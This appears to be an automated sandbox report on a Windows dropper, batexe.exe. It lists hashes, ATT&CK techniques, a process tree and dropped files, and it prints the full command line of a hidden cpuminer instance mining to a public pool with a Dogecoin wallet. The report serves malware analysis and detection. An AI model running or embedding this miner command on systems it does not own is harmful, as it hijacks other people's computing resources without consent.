73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
302s
max time network
305s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
18-02-2024 01:33

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
2328	b2e.exe
5424	cpuminer-sse2.exe

Loads dropped DLL 6 IoCs

pid	Process
5424	cpuminer-sse2.exe
5424	cpuminer-sse2.exe
5424	cpuminer-sse2.exe
5424	cpuminer-sse2.exe
5424	cpuminer-sse2.exe
5424	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3120-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3120 wrote to memory of 2328	3120	batexe.exe	85
PID 3120 wrote to memory of 2328	3120	batexe.exe	85
PID 3120 wrote to memory of 2328	3120	batexe.exe	85
PID 2328 wrote to memory of 4204	2328	b2e.exe	86
PID 2328 wrote to memory of 4204	2328	b2e.exe	86
PID 2328 wrote to memory of 4204	2328	b2e.exe	86
PID 4204 wrote to memory of 5424	4204	cmd.exe	89
PID 4204 wrote to memory of 5424	4204	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3120
- C:\Users\Admin\AppData\Local\Temp\2F77.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\2F77.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\2F77.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2328
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\3CA6.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4204
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:5424

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\2F77.tmp\b2e.exe

Filesize
1.6MB

MD5
fdaacca64a6fe3a5391b7f50b98c0b02

SHA1
5cb7d460c152140b0c5bdad54df601c0059326d5

SHA256
eb72481ff6f7f812f18a487f872ff371e8551a688456f86a20afeeb134806cb9

SHA512
3aac6cb32161d4d534f5e5d06384572d430a0f0df2a47e41c60e5dd1a4c01b217e535c387bebe4ed6640a8074b3092414afe803df60cd6836f0385d528149667

Download Submit
C:\Users\Admin\AppData\Local\Temp\2F77.tmp\b2e.exe

Filesize
2.9MB

MD5
9317cafb85becd9011ca213e7be3a2bc

SHA1
1c84c389734da0532809700191b96dc61527e382

SHA256
644eb7fd5f540a11f942d00b2233e715a40b8548294924fc054db1e08b293090

SHA512
65120a9f1410f4b9350788c5898557be3d3b195f03b3425895748764fc052048f38998bb455cef4f25f748c696821a9a4622c8f09f6ae4603dcd6882be451684

Download Submit
C:\Users\Admin\AppData\Local\Temp\2F77.tmp\b2e.exe

Filesize
3.0MB

MD5
a89710979887a9093dd8a8793d815a06

SHA1
65724d8d52d38af1be95c6cdd59c06ef39809192

SHA256
9939f45bbf7a55da2a4162e1d0c7ae9844733c6fae2027131a7736d605c9a683

SHA512
9167effb9113bc69289b6285b078ffcbc895e2c539c0bff2610d75ecad80f73d5b2764d771c7893c9d500535ca70b03789dd4262e83c567b855ceff2f37ba4ed

Download Submit
C:\Users\Admin\AppData\Local\Temp\3CA6.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.0MB

MD5
a5c156136e66c5dd1e8dca44e96efb0b

SHA1
a0ccf3eacf1a3759afa9dab080c47cc45b7b4665

SHA256
cb60d57fa51dc30cf56b1e527b68eb0dafe25b9bc2f0e1f0892c72d03652a807

SHA512
23313b7dfb54f2da6ba3fb763d6e23ed6d038a116bf0af70c799ae22ff3d8a1b264e73ccf72b2be81b82f075254b447ab8566e7096011d1df676cbff30e37498

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
786KB

MD5
be168e933482a31cd8354e3f125337a7

SHA1
2e7aaec5379b2383fb9dc86a1bf56579d67bd507

SHA256
86c0f1e5dc5c9f328aa0e83429b5bc0788277631e815bdca8383da33cc261c84

SHA512
1489dcd49e816aaae4ae763250c17a39ae99b794ffd0599090c161b5d06123d125c140813d65ec667c872be55c9939b6b2a17d6f6a0c84ab7bff3c93d8f78bb0

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
357KB

MD5
dacb5699b4d6c0bda0ee974a26308690

SHA1
3943838af58810a28e4c8f7fcdb83207026222f8

SHA256
81e554e65cc00da680019c4e14964cbb92ec6993376542ce55ada9ca63d22497

SHA512
bcce6fb6837cde8aa36564c1603c8903db75e59d5c20b61eff65931365b9e24f87e163f1f7a46c1937022e5c3a82c785d31c5b49b1df4926ce4cb96e8cff0a85

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
474KB

MD5
bcb2d31a64427e194c5dbeeb7b80c58d

SHA1
5229f5bb4b9beafc501f88d2524b57c856b11411

SHA256
59bbbb4ea51b9d6a70ab695974adb185e5211b5174ae2b93a7ae0939ab716e31

SHA512
688a70a2aa48ffcc761d6bdbeb1f0d2eda20771b583e3441aabc80414b28b49c203be315b75e439cfcf883e7fec3ef67d44d8c4226c7d6546865fbfff40e69cc

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
420KB

MD5
b977d240c8b24c24c856ba2734aaec79

SHA1
af8b5cd16493c4e681ede6ff89a4caa15117e82e

SHA256
bf4edf100c17c94266495736a1a60846681cfea8e81e7519ddcc24991151f73f

SHA512
876327b719dc4365e7f98f6f743f554139d4f1f92688a4816a071fe64f431be013c7b64c027c6de354230b2206510f08791f1443f9cee4349182da1c08035d5f

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
387KB

MD5
58ee97045cd58ec4ff89f300f882d553

SHA1
ce8d76dda9ab4f1b6139003e902eec717a51811e

SHA256
8402953fc55931e204b62943b5de3b1a84a001d1e0ff693a7e2cd0135325885b

SHA512
a9bf8ab365e2ffeb57669bfb2f32a07dd0565b097b9b89d205b9d4e21b9cfd0f4ebd4b7a873ce4cbf7b7b6e6a3028530083f682f3ec853665872243ef36cdc42

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
406KB

MD5
1c9cf6cac516896b47094ea3bdb288dd

SHA1
53b7a8586faceaf0869bffe32c67231d5731b1b3

SHA256
1473f7cefa86024ad8260d6ffde558e1d7a1ded7ef630f527d2c4d9e198e7645

SHA512
97cace66bbb9197501c83ae7c063f7092ba5fbf8235b36cd275df36031eac4545ecc69b61be6ce2899e89fc15cdad7e94500a1ee7e825a6aaf5af9aa27209a64

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2328-55-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2328-8-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3120-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/5424-42-0x0000000000870000-0x000000000092C000-memory.dmp

Filesize
752KB

Download
memory/5424-46-0x000000006FC40000-0x00000000714F5000-memory.dmp

Filesize
24.7MB

Download
memory/5424-47-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/5424-48-0x0000000000870000-0x000000000092C000-memory.dmp

Filesize
752KB

Download
memory/5424-49-0x0000000065FD0000-0x0000000066068000-memory.dmp

Filesize
608KB

Download
memory/5424-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5424-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5424-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5424-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5424-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5424-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5424-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5424-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5424-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download